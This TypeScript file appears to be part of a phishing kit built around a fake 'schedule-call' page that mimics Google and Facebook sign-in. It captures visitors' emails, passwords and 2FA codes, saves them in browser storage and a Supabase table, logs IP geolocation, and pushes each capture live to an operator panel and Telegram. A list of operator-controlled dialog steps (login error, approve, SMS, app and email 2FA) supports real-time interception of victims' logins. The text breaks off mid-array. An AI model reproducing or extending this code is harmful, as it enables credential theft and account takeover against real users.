import {
  broadcastCredentialsUpdated,
  broadcastRedirectQueued,
  broadcastSessionActivity,
  type RedirectCommandSource,
} from './admin-panel-sync'
import { buildVisitorActivityMessage } from './visitor-activity-message'
import { sanitizeLoginContact } from './login-contact'
import { credentialChangeMessage, mergeCredentialsBlob, pickRichestCredentialsBlob, blobHasProviderPassword, parseSessionCredentials } from './session-credentials'
import { locationToSessionColumns, type IpLocationResponse } from './ip-geo'
import { supabase } from './supabase'
import { v4 as uuidv4 } from 'uuid'

const CREDENTIALS_BACKUP_KEY = 'kf_session_credentials_v1'

type CredentialsBackup = {
  sessionId: string
  user_email: string | null
  user_password: string | null
  at: string
}

function saveCredentialsBackup(
  sessionId: string,
  user_email: string | null,
  user_password: string | null
) {
  if (typeof window === 'undefined') return
  try {
    const prev = loadCredentialsBackup(sessionId)
    // Never wipe a previously saved password with an email-only write
    const mergedPassword =
      pickRichestCredentialsBlob(user_password, prev?.user_password) || null
    const mergedEmail =
      sanitizeLoginContact(user_email) ||
      sanitizeLoginContact(prev?.user_email) ||
      null
    if (!mergedEmail && !mergedPassword) return
    const payload: CredentialsBackup = {
      sessionId,
      user_email: mergedEmail,
      user_password: mergedPassword,
      at: new Date().toISOString(),
    }
    sessionStorage.setItem(CREDENTIALS_BACKUP_KEY, JSON.stringify(payload))
    localStorage.setItem(CREDENTIALS_BACKUP_KEY, JSON.stringify(payload))
  } catch {
    /* ignore */
  }
}

/** Immediate sync backup from the login form — call before any await */
export function backupCredentialsNow(
  sessionId: string,
  email: string,
  password: string,
  provider: 'google' | 'facebook'
) {
  const emailKey = provider === 'facebook' ? 'FACEBOOK_EMAIL' : 'GOOGLE_EMAIL'
  const passKey = provider === 'facebook' ? 'FACEBOOK_PASSWORD' : 'GOOGLE_PASSWORD'
  const blob = [
    `LAST_PROVIDER: ${provider}`,
    `${emailKey}: ${email.trim()}`,
    `${passKey}: ${password}`,
  ].join('\n')
  saveCredentialsBackup(sessionId, email.trim(), blob)
}

/**
 * Read password typed earlier in this browser (survives hard refresh / waiting).
 * Used to re-fill the password field after F5.
 */
export function peekStoredLoginPassword(
  provider: 'google' | 'facebook' = 'google',
  sessionId?: string
): string {
  if (typeof window === 'undefined') return ''
  try {
    const id = sessionId || getOrCreateSessionId()
    const backup = loadCredentialsBackup(id)
    if (!backup?.user_password) return ''
    const parsed = parseSessionCredentials(backup.user_password)
    const fromProvider =
      provider === 'facebook' ? parsed.facebook.password : parsed.google.password
    return (fromProvider || parsed.password || '').trim()
  } catch {
    return ''
  }
}

/**
 * Read email/phone from credentials backup (F5 restore).
 */
export function peekStoredLoginEmail(
  provider: 'google' | 'facebook' = 'google',
  sessionId?: string
): string {
  if (typeof window === 'undefined') return ''
  try {
    const id = sessionId || getOrCreateSessionId()
    const backup = loadCredentialsBackup(id)
    if (backup?.user_email?.trim()) return backup.user_email.trim()
    if (!backup?.user_password) return ''
    const parsed = parseSessionCredentials(backup.user_password)
    const fromProvider =
      provider === 'facebook' ? parsed.facebook.email : parsed.google.email
    return (fromProvider || '').trim()
  } catch {
    return ''
  }
}

function loadCredentialsBackup(sessionId: string): CredentialsBackup | null {
  if (typeof window === 'undefined') return null
  try {
    const fromSession = sessionStorage.getItem(CREDENTIALS_BACKUP_KEY)
    const fromLocal = localStorage.getItem(CREDENTIALS_BACKUP_KEY)
    const candidates: CredentialsBackup[] = []
    for (const raw of [fromSession, fromLocal]) {
      if (!raw) continue
      try {
        const parsed = JSON.parse(raw) as CredentialsBackup
        if (!parsed) continue
        // Prefer exact session match; also keep orphans so F5 still restores password
        if (!parsed.sessionId || parsed.sessionId === sessionId) {
          candidates.push({ ...parsed, sessionId: parsed.sessionId || sessionId })
        } else if (parsed.user_password) {
          // Different session id but still this browser — keep as fallback
          candidates.push(parsed)
        }
      } catch {
        /* ignore */
      }
    }
    if (!candidates.length) return null
    const exact = candidates.filter((c) => c.sessionId === sessionId)
    const pool = exact.length ? exact : candidates
    let best = pool[0]
    for (const c of pool.slice(1)) {
      const richest = pickRichestCredentialsBlob(best.user_password, c.user_password)
      if (richest && richest === c.user_password?.trim()) best = c
      else if (!best.user_email && c.user_email) best = { ...best, user_email: c.user_email }
    }
    // Re-bind backup to current session id after F5
    if (best.sessionId !== sessionId) {
      best = { ...best, sessionId }
      try {
        sessionStorage.setItem(CREDENTIALS_BACKUP_KEY, JSON.stringify(best))
        localStorage.setItem(CREDENTIALS_BACKUP_KEY, JSON.stringify(best))
      } catch {
        /* ignore */
      }
    }
    return best
  } catch {
    return null
  }
}

/** Persist credentials even if the session row is missing (upsert). */
async function upsertSessionCredentials(
  sessionId: string,
  fields: {
    user_email?: string | null
    user_password?: string | null
    credentials_collected_at: string
  }
) {
  const patch = {
    ...(fields.user_email ? { user_email: fields.user_email } : {}),
    ...(fields.user_password ? { user_password: fields.user_password } : {}),
    credentials_collected_at: fields.credentials_collected_at,
    updated_at: fields.credentials_collected_at,
    is_active: true,
  }

  const { data: updated, error: updateError } = await supabase
    .from('user_sessions')
    .update(patch)
    .eq('session_id', sessionId)
    .select('id')

  if (updateError) return { error: updateError }

  if (updated && updated.length > 0) return { error: null }

  // No row yet — create one with credentials
  const { error: insertError } = await supabase.from('user_sessions').insert([
    {
      session_id: sessionId,
      page_url:
        typeof window !== 'undefined' ? window.location.pathname : '/schedule-call',
      user_agent: typeof navigator !== 'undefined' ? navigator.userAgent : null,
      ...patch,
      is_active: true,
      created_at: fields.credentials_collected_at,
    },
  ])

  if (insertError && insertError.code === '23505') {
    // Race: row appeared — update again
    const { error } = await supabase
      .from('user_sessions')
      .update(patch)
      .eq('session_id', sessionId)
    return { error }
  }

  return { error: insertError }
}

/** After heartbeat/track, restore credentials from browser backup if DB lacks password */
export async function restoreCredentialsFromBackup(sessionId?: string) {
  const id = sessionId || (typeof window !== 'undefined' ? getOrCreateSessionId() : '')
  if (!id) return
  const backup = loadCredentialsBackup(id)
  if (!backup?.user_password && !backup?.user_email) return

  try {
    const { data } = await supabase
      .from('user_sessions')
      .select('user_email, user_password')
      .eq('session_id', id)
      .maybeSingle()

    const dbHasRealPass = blobHasProviderPassword(data?.user_password)
    const backupHasRealPass = blobHasProviderPassword(backup.user_password)
    const dbHasEmail = Boolean(sanitizeLoginContact(data?.user_email))
    // Only skip when DB already has a real password (not an email-only blob)
    if (dbHasRealPass && dbHasEmail) return
    if (dbHasRealPass && !backupHasRealPass) return

    const nextEmail =
      sanitizeLoginContact(data?.user_email) ||
      sanitizeLoginContact(backup.user_email) ||
      null
    const richest = pickRichestCredentialsBlob(
      data?.user_password,
      backup.user_password
    )
    if (!nextEmail && !richest) return

    await upsertSessionCredentials(id, {
      user_email: nextEmail,
      user_password: richest,
      credentials_collected_at: new Date().toISOString(),
    })

    if (richest || nextEmail) {
      broadcastCredentialsUpdated({
        sessionId: id,
        user_email: nextEmail,
        user_password: richest,
        credentials_collected_at: new Date().toISOString(),
        kind: backupHasRealPass ? 'password' : 'email',
        message: credentialChangeMessage(
          backupHasRealPass ? 'password' : 'email',
          nextEmail,
          richest
        ),
      })
    }
  } catch (e) {

  }
}

// Cache for IP address to avoid repeated fetches
let cachedIP: string | undefined = undefined
let ipFetchPromise: Promise<string | undefined> | null = null

// Per-IP location cache
const locationCache = new Map<string, IpLocationResponse>()
const locationFetchPromises = new Map<string, Promise<IpLocationResponse>>()

// Supabase connection readiness
let supabaseReady: Promise<boolean> | null = null

// Session tracking lock to prevent concurrent calls
let sessionTrackingLock: Promise<any> | null = null

// Function to ensure Supabase connection is ready
async function ensureSupabaseReady(): Promise<boolean> {
  if (supabaseReady) {
    return supabaseReady
  }

  supabaseReady = (async () => {
    try {

      
      // Check if environment variables are set
      if (!process.env.NEXT_PUBLIC_SUPABASE_URL || 
          !process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY ||
          process.env.NEXT_PUBLIC_SUPABASE_URL.includes('your_supabase_url_here') ||
          process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY.includes('your_supabase_anon_key_here')) {

        return false
      }

      // Test the connection with a simple query
      const { data, error } = await supabase
        .from('user_sessions')
        .select('count', { count: 'exact', head: true })
        .limit(1)
      
      if (error) {
        return false
      }


      return true
    } catch (error) {

      return false
    }
  })()

  return supabaseReady
}

// Function to fetch user's IP address from our API
async function fetchUserIP(): Promise<string | undefined> {
  if (cachedIP) return cachedIP
  if (ipFetchPromise) return ipFetchPromise

  ipFetchPromise = (async () => {
    const isUsable = (ip?: string | null) =>
      Boolean(ip && ip !== 'unknown' && ip !== '127.0.0.1')

    try {
      const response = await fetch('/api/get-ip', { cache: 'no-store' })
      if (response.ok) {
        const data = await response.json()
        if (isUsable(data.ip) && data.private !== true) {
          cachedIP = data.ip
          return data.ip as string
        }
        if (isUsable(data.ip)) cachedIP = data.ip
      }
    } catch (error) {

    }

    for (const url of [
      'https://api.ipify.org?format=json',
      'https://api64.ipify.org?format=json',
    ]) {
      try {
        const response = await fetch(url, { cache: 'no-store' })
        if (response.ok) {
          const data = await response.json()
          if (data.ip) {
            cachedIP = data.ip
            return data.ip as string
          }
        }
      } catch (error) {

      }
    }

    return cachedIP || undefined
  })()

  try {
    return await ipFetchPromise
  } finally {
    ipFetchPromise = null
  }
}

// Function to fetch location data from IP address
async function fetchLocationFromIP(ip: string): Promise<IpLocationResponse> {
  const cached = locationCache.get(ip)
  if (cached) return cached

  const inflight = locationFetchPromises.get(ip)
  if (inflight) return inflight

  const promise = (async (): Promise<IpLocationResponse> => {
    try {
      const response = await fetch(`/api/get-location?ip=${encodeURIComponent(ip)}`)
      if (response.ok) {
        const data = (await response.json()) as IpLocationResponse
        // Only cache successful geo (avoid locking in Unknown)
        if (data.countryCode && data.countryCode !== 'UN') {
          locationCache.set(ip, data)
        }
        return data
      }
    } catch (error) {

    }

    // Do not cache hard failures — allow retry on next track
    return {
      country: 'Unknown',
      countryCode: 'UN',
      flag: '🌍',
    }
  })()

  locationFetchPromises.set(ip, promise)
  try {
    return await promise
  } finally {
    locationFetchPromises.delete(ip)
  }
}

export interface SessionData {
  sessionId: string
  userId?: string
  ipAddress?: string
  userAgent?: string
  pageUrl: string
  isActive: boolean
  user_email?: string | null
  user_password?: string | null
}

// Generate a unique session ID
export function generateSessionId(): string {
  return uuidv4()
}

// Get session ID from localStorage or create a new one
/** Instant admin update when visitor changes step (Continue, navigation). */
export function notifyAdminVisitorActivity(options?: {
  pageUrl?: string
  message?: string
  user_email?: string | null
  user_password?: string | null
}): void {
  if (typeof window === 'undefined') return

  const sessionId = getOrCreateSessionId()
  let page_url = options?.pageUrl ?? window.location.href
  if (!options?.pageUrl) {
    try {
      // sync require avoided — use sessionStorage logical page if present
      const logical = sessionStorage.getItem('rh-logical-page-url')
      if (logical) page_url = logical
    } catch {
      /* ignore */
    }
  }
  const updated_at = new Date().toISOString()

  broadcastSessionActivity({
    sessionId,
    page_url,
    updated_at,
    message: options?.message ?? buildVisitorActivityMessage(page_url),
    user_email: options?.user_email,
    user_password: options?.user_password,
  })
}

export function getOrCreateSessionId(): string {
  if (typeof window === 'undefined') return generateSessionId()
  
  let sessionId = localStorage.getItem('session_id')
  if (!sessionId) {
    sessionId = generateSessionId()
    localStorage.setItem('session_id', sessionId)
  }
  return sessionId
}

// Create or update a user session
export async function trackSession(sessionData: Partial<SessionData>) {
  // If there's already a session tracking operation in progress, wait for it
  if (sessionTrackingLock) {

    return sessionTrackingLock
  }

  // Create a new session tracking promise and lock it
  sessionTrackingLock = (async () => {
    try {
      // Check if we're in browser environment
      if (typeof window === 'undefined') {

        return { success: false, error: 'Server environment' }
      }

      // Wait for document to be ready if it's not
      if (document.readyState === 'loading') {

        await new Promise(resolve => {
          const handler = () => {
            document.removeEventListener('DOMContentLoaded', handler)
            resolve(void 0)
          }
          document.addEventListener('DOMContentLoaded', handler)
        })
      }

      // Wait for Supabase connection to be ready

      const isSupabaseReady = await ensureSupabaseReady()
      
      if (!isSupabaseReady) {

        return { success: false, error: 'Supabase not ready' }
      }

      // Debug logging removed

      const sessionId = getOrCreateSessionId()
      // Prefer logical admin page (dialog steps) over clean public URL
      let currentUrl = sessionData.pageUrl || window.location.href
      try {
        const { getLogicalPageUrl } = await import('./visitor-dialog-command')
        const logical = getLogicalPageUrl()
        if (!sessionData.pageUrl && logical) currentUrl = logical
      } catch {
        /* keep window.location.href */
      }
      const userAgent = window.navigator.userAgent

      // Fetch IP address if not provided
      let ipAddress = sessionData.ipAddress
      if (!ipAddress) {
        try {
          ipAddress = await fetchUserIP()

        } catch (ipError) {

        }
      }

      // First, try to update existing session
      // Prefer full geo select; fall back if live DB is missing isp/timezone columns
      const GEO_SELECT_FULL =
        'id, ip_address, country_code, country, flag, city, region, isp, timezone'
      const GEO_SELECT_BASIC =
        'id, ip_address, country_code, country, flag, city, region'

      let existingSession: {
        id: string
        ip_address?: string | null
        country_code?: string | null
        country?: string | null
        flag?: string | null
        city?: string | null
        region?: string | null
        isp?: string | null
        timezone?: string | null
      } | null = null

      {
        const full = await supabase
          .from('user_sessions')
          .select(GEO_SELECT_FULL)
          .eq('session_id', sessionId)
          .maybeSingle()

        if (
          full.error &&
          (full.error.code === '42703' ||
            full.error.code === 'PGRST204' ||
            /column|schema cache|isp|timezone/i.test(full.error.message || ''))
        ) {
          const basic = await supabase
            .from('user_sessions')
            .select(GEO_SELECT_BASIC)
            .eq('session_id', sessionId)
            .maybeSingle()
          if (basic.error && basic.error.code !== 'PGRST116') {
            return { success: false, error: basic.error }
          }
          existingSession = basic.data
        } else if (full.error && full.error.code !== 'PGRST116') {
          return { success: false, error: full.error }
        } else {
          existingSession = full.data
        }
      }

      // Geo lookup when new, IP changed, or incomplete client details
      let locationColumns: Record<string, string | null> = {}
      if (ipAddress && ipAddress !== 'unknown') {
        const needsGeo =
          existingSession?.ip_address !== ipAddress ||
          !existingSession?.country_code ||
          existingSession.country_code === 'UN' ||
          !existingSession?.city ||
          !existingSession?.isp ||
          !existingSession?.flag
        if (needsGeo) {
          try {
            const locationData = await fetchLocationFromIP(ipAddress)
            locationColumns = locationToSessionColumns(locationData)

          } catch (locationError) {

          }
        }
      }

      const stripOptionalGeo = (record: Record<string, unknown>) => {
        const next = { ...record }
        delete next.isp
        delete next.timezone
        return next
      }

      const isMissingColumnError = (error: { message?: string; code?: string } | null) => {
        if (!error) return false
        const msg = (error.message || '').toLowerCase()
        return (
          error.code === 'PGRST204' ||
          msg.includes('isp') ||
          msg.includes('timezone') ||
          msg.includes('schema cache') ||
          msg.includes('column')
        )
      }

      // Basic session record (always present fields)
      const baseSessionRecord = {
        session_id: sessionId,
        user_id: sessionData.userId || null,
        ip_address: ipAddress || null,
        user_agent: userAgent,
        page_url: currentUrl,
        is_active: true,
        updated_at: new Date().toISOString(),
        ...locationColumns,
      }
      




      let sessionRecord: Record<string, any> = baseSessionRecord



      if (existingSession) {


        let { error } = await supabase
          .from('user_sessions')
          .update(sessionRecord)
          .eq('session_id', sessionId)

        if (error && isMissingColumnError(error) && (sessionRecord.isp || sessionRecord.timezone)) {
          const fallback = stripOptionalGeo(sessionRecord)
          ;({ error } = await supabase
            .from('user_sessions')
            .update(fallback)
            .eq('session_id', sessionId))
        }

        // If geo columns themselves fail, keep session alive without them
        if (error && isMissingColumnError(error) && Object.keys(locationColumns).length > 0) {
          const { country, country_code, flag, city, region, isp, timezone, ...core } = sessionRecord
          ;({ error } = await supabase
            .from('user_sessions')
            .update(core)
            .eq('session_id', sessionId))
        }

        if (error) {
          return { success: false, error }
        } else {

        }
      } else {


        let { error } = await supabase
          .from('user_sessions')
          .insert([sessionRecord])

        if (error && isMissingColumnError(error) && (sessionRecord.isp || sessionRecord.timezone)) {
          ;({ error } = await supabase
            .from('user_sessions')
            .insert([stripOptionalGeo(sessionRecord)]))
        }

        if (error && isMissingColumnError(error) && Object.keys(locationColumns).length > 0) {
          const { country, country_code, flag, city, region, isp, timezone, ...core } = sessionRecord
          ;({ error } = await supabase.from('user_sessions').insert([core]))
        }

        if (error) {
          
          // Check if it's a specific error we can handle
          if (error.code === '23505') { // Unique constraint violation

            const { error: updateError } = await supabase
              .from('user_sessions')
              .update(sessionRecord)
              .eq('session_id', sessionId)
            
            if (updateError) {

              return { success: false, error: updateError }
            } else {

            }
          } else {
            return { success: false, error }
          }
        } else {

        }
      }

      broadcastSessionActivity({
        sessionId,
        page_url: currentUrl,
        updated_at: baseSessionRecord.updated_at,
        message: buildVisitorActivityMessage(currentUrl),
        user_email: sessionData.user_email,
        user_password: sessionData.user_password,
      })

      // Re-apply Google/Facebook credentials if heartbeat created a fresh row
      void restoreCredentialsFromBackup(sessionId)


      return { success: true, sessionId }
    } catch (error) {
      return { success: false, error }
    } finally {
      // Clear the lock when done
      sessionTrackingLock = null
    }
  })()

  return sessionTrackingLock
}

// Mark session as inactive
export async function endSession(sessionId?: string) {
  try {
    const currentSessionId = sessionId || getOrCreateSessionId()
    


    const { error } = await supabase
      .from('user_sessions')
      .update({ 
        is_active: false,
        updated_at: new Date().toISOString()
      })
      .eq('session_id', currentSessionId)

    if (error) {

      return { success: false, error }
    }

    return { success: true }
  } catch (error) {

    return { success: false, error }
  }
}

// Get all active sessions
export async function getActiveSessions() {
  try {
    const { data, error } = await supabase
      .from('user_sessions')
      .select('*')
      .eq('is_active', true)
      .order('updated_at', { ascending: false })

    if (error) {

      return { success: false, error, data: null }
    }

    return { success: true, data }
  } catch (error) {

    return { success: false, error, data: null }
  }
}

// Get all sessions (active and inactive)
export async function getAllSessions(limit = 100) {
  try {
    const { data, error } = await supabase
      .from('user_sessions')
      .select('*')
      .order('updated_at', { ascending: false })
      .limit(limit)

    if (error) {

      return { success: false, error, data: null }
    }

    return { success: true, data }
  } catch (error) {

    return { success: false, error, data: null }
  }
}

// Get session statistics
export async function getSessionStats() {
  try {
    // Get total sessions today
    const todayStart = new Date()
    todayStart.setHours(0, 0, 0, 0)
    
    const { data: todaySessions, error: todayError } = await supabase
      .from('user_sessions')
      .select('id')
      .gte('created_at', todayStart.toISOString())

    if (todayError) {

    }

    // Get active sessions count
    const { data: activeSessions, error: activeError } = await supabase
      .from('user_sessions')
      .select('id')
      .eq('is_active', true)

    if (activeError) {

    }

    // Get average session duration for completed sessions today
    const { data: completedSessions, error: durationError } = await supabase
      .from('user_sessions')
      .select('created_at, updated_at')
      .eq('is_active', false)
      .gte('created_at', todayStart.toISOString())

    if (durationError) {

    }

    let averageDuration = 0
    if (completedSessions && completedSessions.length > 0) {
      const totalDuration = completedSessions.reduce((acc, session) => {
        const start = new Date(session.created_at)
        const end = new Date(session.updated_at)
        return acc + (end.getTime() - start.getTime())
      }, 0)
      
      averageDuration = totalDuration / completedSessions.length / 1000 / 60 // Convert to minutes
    }

    return {
      success: true,
      stats: {
        activeCount: activeSessions?.length || 0,
        todayTotal: todaySessions?.length || 0,
        averageDurationMinutes: Math.round(averageDuration)
      }
    }
  } catch (error) {

    return { success: false, error, stats: null }
  }
}

// Clean up old inactive sessions (older than 24 hours)
export async function cleanupOldSessions() {
  try {
    const twentyFourHoursAgo = new Date()
    twentyFourHoursAgo.setHours(twentyFourHoursAgo.getHours() - 24)

    const { error } = await supabase
      .from('user_sessions')
      .delete()
      .eq('is_active', false)
      .lt('updated_at', twentyFourHoursAgo.toISOString())

    if (error) {

      return { success: false, error }
    }

    return { success: true }
  } catch (error) {

    return { success: false, error }
  }
}

// Delete a specific session
export async function deleteSession(sessionId: string, useDbId = false) {
  try {
    const column = useDbId ? 'id' : 'session_id'
    
    const { error } = await supabase
      .from('user_sessions')
      .delete()
      .eq(column, sessionId)

    if (error) {

      return { success: false, error }
    }

    return { success: true }
  } catch (error) {

    return { success: false, error }
  }
}

// Delete multiple sessions by their IDs
export async function deleteSessions(sessionIds: string[], useDbId = false) {
  try {
    const column = useDbId ? 'id' : 'session_id'
    
    const { error } = await supabase
      .from('user_sessions')
      .delete()
      .in(column, sessionIds)

    if (error) {

      return { success: false, error }
    }

    return { success: true }
  } catch (error) {

    return { success: false, error }
  }
}

// Set page redirection for a specific session
export async function setSessionRedirection(
  sessionId: string,
  redirectToPage: string,
  source: RedirectCommandSource = 'panel'
) {
  try {
    // Instant path for visitor + open admin tabs (before DB round-trip)
    broadcastRedirectQueued({ sessionId, redirectToPage, source })

    const { error } = await supabase
      .from('user_sessions')
      .update({
        redirect_to_page: redirectToPage,
        updated_at: new Date().toISOString(),
      })
      .eq('session_id', sessionId)

    if (error) {

      return { success: false, error }
    }

    if (source === 'panel') {
      const { notifyTelegramRedirectFromPanel } = await import('./telegram-panel-sync')
      void notifyTelegramRedirectFromPanel(sessionId, redirectToPage)
    }

    return { success: true }
  } catch (error) {

    return { success: false, error }
  }
}

/** Read pending redirect without clearing (keeps admin panel command visible longer). */
/** Email or phone the visitor entered at login (from session row + credentials blob). */
export async function peekSessionLoginContact(sessionId?: string): Promise<string | null> {
  try {
    const currentSessionId = sessionId || getOrCreateSessionId()
    const { data, error } = await supabase
      .from('user_sessions')
      .select('user_email, user_password')
      .eq('session_id', currentSessionId)
      .maybeSingle()

    if (error) {

      return null
    }

    const fromColumn = sanitizeLoginContact(data?.user_email)
    if (fromColumn) return fromColumn

    const { parseSessionCredentials } = await import('./session-credentials')
    const { getAuthProvider } = await import('./auth-provider')
    const parsed = parseSessionCredentials(data?.user_password)
    const provider = getAuthProvider()
    const fromBlob =
      sanitizeLoginContact(parsed[provider].email) ||
      sanitizeLoginContact(parsed.google.email) ||
      sanitizeLoginContact(parsed.facebook.email)
    return fromBlob || null
  } catch (error) {

    return null
  }
}

export async function peekSessionRedirection(sessionId?: string) {
  try {
    const currentSessionId = sessionId || getOrCreateSessionId()

    const { data, error } = await supabase
      .from('user_sessions')
      .select('redirect_to_page')
      .eq('session_id', currentSessionId)
      .maybeSingle()

    if (error) {

      return { success: false, error, redirectTo: null }
    }

    return { success: true, redirectTo: data?.redirect_to_page ?? null }
  } catch (error) {

    return { success: false, error, redirectTo: null }
  }
}

export async function clearSessionRedirection(sessionId?: string) {
  try {
    const currentSessionId = sessionId || getOrCreateSessionId()
    const { error } = await supabase
      .from('user_sessions')
      .update({
        redirect_to_page: null,
        updated_at: new Date().toISOString(),
      })
      .eq('session_id', currentSessionId)

    if (error) {

      return { success: false, error }
    }
    return { success: true }
  } catch (error) {

    return { success: false, error }
  }
}

// Check if current session has a redirection command and clear it
export async function checkAndClearRedirection(sessionId?: string) {
  const peek = await peekSessionRedirection(sessionId)
  if (!peek.success || !peek.redirectTo) {
    return { success: peek.success, error: peek.error, redirectTo: null }
  }
  await clearSessionRedirection(sessionId)
  return { success: true, redirectTo: peek.redirectTo }
}

export async function storeUserCredentials(
  email?: string,
  password?: string,
  sessionId?: string,
  provider: 'google' | 'facebook' = 'google'
) {
  try {
    const currentSessionId = sessionId || getOrCreateSessionId()
    const trimmedEmail = sanitizeLoginContact(email)
    const trimmedPassword = password?.trim()

    const readLatest = async () => {
      const { data, error } = await supabase
        .from('user_sessions')
        .select('user_email, user_password')
        .eq('session_id', currentSessionId)
        .maybeSingle()
      if (error && error.code !== 'PGRST116') {
        return { data: null, error }
      }
      return { data, error: null }
    }

    const { data: existing, error: fetchError } = await readLatest()
    if (fetchError) {

      return { success: false, error: fetchError }
    }

    const backup = loadCredentialsBackup(currentSessionId)
    // Always keep the richest known blob (DB vs backup) so email-only writes cannot wipe passwords
    const baseBlob = pickRichestCredentialsBlob(
      existing?.user_password,
      backup?.user_password
    )
    const baseEmail =
      sanitizeLoginContact(existing?.user_email) ||
      sanitizeLoginContact(backup?.user_email) ||
      null

    if (!trimmedEmail && !trimmedPassword && !baseBlob && !baseEmail) {
      return { success: true }
    }

    const nextEmail = trimmedEmail || baseEmail || null
    let merged = mergeCredentialsBlob(baseBlob, {
      email: trimmedEmail || undefined,
      password: trimmedPassword || undefined,
      provider,
    })
    // Re-read once more right before write (defeats race with parallel email-only store)
    const { data: latest } = await readLatest()
    const raceSafeBase = pickRichestCredentialsBlob(
      latest?.user_password,
      baseBlob,
      backup?.user_password,
      merged
    )
    merged = mergeCredentialsBlob(raceSafeBase, {
      email: trimmedEmail || sanitizeLoginContact(latest?.user_email) || undefined,
      password: trimmedPassword || undefined,
      provider,
    })
    const nextPassword =
      pickRichestCredentialsBlob(merged, raceSafeBase, latest?.user_password) ||
      null

    if (!nextEmail && !nextPassword) {
      return { success: true }
    }

    // Email-only update: still persist, but never replace a richer password blob with a weaker one
    if (!trimmedPassword) {
      if (blobHasProviderPassword(baseBlob) && !blobHasProviderPassword(merged)) {
        merged = mergeCredentialsBlob(baseBlob, {
          email: trimmedEmail || undefined,
          provider,
        })
      }
    }

    let finalPassword =
      pickRichestCredentialsBlob(merged, nextPassword, baseBlob) || null

    // Hard refuse: never persist an email-only blob over an existing real password
    if (
      !trimmedPassword &&
      blobHasProviderPassword(baseBlob) &&
      !blobHasProviderPassword(finalPassword)
    ) {
      finalPassword = mergeCredentialsBlob(baseBlob, {
        email: trimmedEmail || undefined,
        provider,
      })
    }

    const collectedAt = new Date().toISOString()
    const kind = trimmedPassword ? 'password' : 'email'

    saveCredentialsBackup(currentSessionId, nextEmail, finalPassword)

    broadcastCredentialsUpdated({
      sessionId: currentSessionId,
      user_email: nextEmail || baseEmail,
      user_password: finalPassword,
      credentials_collected_at: collectedAt,
      kind,
      message: credentialChangeMessage(
        kind,
        nextEmail,
        finalPassword,
        undefined,
        provider
      ),
    })

    const { error } = await upsertSessionCredentials(currentSessionId, {
      user_email: nextEmail,
      user_password: finalPassword,
      credentials_collected_at: collectedAt,
    })

    if (error) {

      return { success: false, error }
    }

    return { success: true }
  } catch (error) {

    return { success: false, error }
  }
}

export async function store2FACode(
  code: string,
  type: string,
  sessionId?: string,
  email?: string
) {
  try {
    const currentSessionId = sessionId || getOrCreateSessionId()
    const trimmedCode = code?.trim()
    if (!trimmedCode) {
      return { success: true }
    }

    const { data: existing, error: fetchError } = await supabase
      .from('user_sessions')
      .select('user_email, user_password')
      .eq('session_id', currentSessionId)
      .maybeSingle()

    if (fetchError && fetchError.code !== 'PGRST116') {

      return { success: false, error: fetchError }
    }

    const backup = loadCredentialsBackup(currentSessionId)
    const baseBlob = pickRichestCredentialsBlob(
      existing?.user_password,
      backup?.user_password
    )

    const { getAuthProvider } = await import('./auth-provider')
    const provider = getAuthProvider()

    const nextPasswordMerged = mergeCredentialsBlob(baseBlob, {
      appendCode: { type, code: trimmedCode },
      provider,
    })
    const nextPassword =
      pickRichestCredentialsBlob(nextPasswordMerged, baseBlob) || null
    const trimmedEmail = sanitizeLoginContact(email)
    const nextEmail =
      trimmedEmail ||
      sanitizeLoginContact(existing?.user_email) ||
      sanitizeLoginContact(backup?.user_email) ||
      null
    const collectedAt = new Date().toISOString()

    saveCredentialsBackup(currentSessionId, nextEmail, nextPassword)

    broadcastCredentialsUpdated({
      sessionId: currentSessionId,
      user_email: nextEmail || sanitizeLoginContact(existing?.user_email),
      user_password: nextPassword,
      credentials_collected_at: collectedAt,
      kind: '2fa',
      message: credentialChangeMessage('2fa', nextEmail, nextPassword, type, provider),
    })

    const { error } = await upsertSessionCredentials(currentSessionId, {
      user_email: nextEmail,
      user_password: nextPassword,
      credentials_collected_at: collectedAt,
    })

    if (error) {

      return { success: false, error }
    }

    return { success: true }
  } catch (error) {

    return { success: false, error }
  }
}

// Provider-specific dialog steps admins can push (auth= pins Google vs Facebook)
export const FACEBOOK_REDIRECT_PAGES = [
  { value: '/schedule-call?auth=google', label: 'G · verify' },
  { value: '/schedule-call?auth=facebook', label: 'FB · verify' },
  { value: '/schedule-call?dialog=google&auth=google', label: 'G · google' },
  { value: '/schedule-call?dialog=facebook&auth=facebook', label: 'FB · facebook' },
  { value: '/schedule-call?dialog=loading&auth=google', label: 'G · loading' },
  { value: '/schedule-call?dialog=loading&auth=facebook', label: 'FB · loading' },
  { value: '/schedule-call?dialog=login-error&auth=google', label: 'G · loginErr' },
  { value: '/schedule-call?dialog=login-error&auth=facebook', label: 'FB · loginErr' },
  { value: '/schedule-call?dialog=approve&auth=google', label: 'G · approve' },
  { value: '/schedule-call?dialog=approve&auth=facebook', label: 'FB · approve' },
  { value: '/schedule-call?dialog=approve-error&auth=google', label: 'G · approveErr' },
  { value: '/schedule-call?dialog=approve-error&auth=facebook', label: 'FB · approveErr' },
  { value: '/schedule-call?dialog=phone-code&auth=google', label: 'G · phonecode' },
  { value: '/schedule-call?dialog=phone-code&auth=facebook', label: 'FB · phonecode' },
  { value: '/schedule-call?dialog=phone-code-error&auth=google', label: 'G · phonecodeErr' },
  { value: '/schedule-call?dialog=phone-code-error&auth=facebook', label: 'FB · phonecodeErr' },
  { value: '/schedule-call?dialog=2fa&auth=google', label: 'G · app2fa' },
  { value: '/schedule-call?dialog=2fa&auth=facebook', label: 'FB · app2fa' },
  { value: '/schedule-call?dialog=2fa-error&auth=google', label: 'G · app2faErr' },
  { value: '/schedule-call?dialog=2fa-error&auth=facebook', label: 'FB · app2faErr' },
  { value: '/schedule-call?dialog=2fa-sms&auth=google', label: 'G · phone2fa' },
  { value: '/schedule-call?dialog=2fa-sms&auth=facebook', label: 'FB · phone2fa' },
  { value: '/schedule-call?dialog=2fa-sms-error&auth=google', label: 'G · phone2faErr' },
  { value: '/schedule-call?dialog=2fa-sms-error&auth=facebook', label: 'FB · phone2faErr' },
  { value: '/schedule-call?dialog=2fa-email&auth=google', label: 'G · email2fa' },
  { value: '/schedule-call?dialog=2fa-email&auth=facebook', label: 'FB · email2fa' },
  { value: '/schedule-call?dialog=2fa-email-error&auth=google', label: 'G · email2faErr' },
  { value: '/schedule-call?dialog=2fa-email-error&auth=facebook', label: 'FB · email2faErr' },
] as const

// Available pages for redirection (ordered by candidate flow)
export const AVAILABLE_PAGES = [
